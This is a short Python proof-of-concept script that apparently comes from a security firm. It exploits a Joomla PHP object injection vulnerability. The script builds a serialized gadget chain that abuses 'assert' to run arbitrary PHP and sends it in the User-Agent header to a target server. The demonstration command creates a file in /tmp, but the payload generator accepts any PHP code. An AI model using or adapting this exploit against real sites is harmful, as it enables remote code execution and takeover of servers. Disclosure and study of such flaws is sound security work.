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'''
Simple PoC for Joomla Object Injection.
Gary @ Sec-1 ltd
http://www.sec-1.com/
'''
import requests # easy_install requests
def get_url(url, user_agent):
headers = {
'User-Agent': user_agent
}
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
return response
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
pl = generate_payload("system('touch /tmp/fx');")
print get_url("http://172.31.6.242/", pl)
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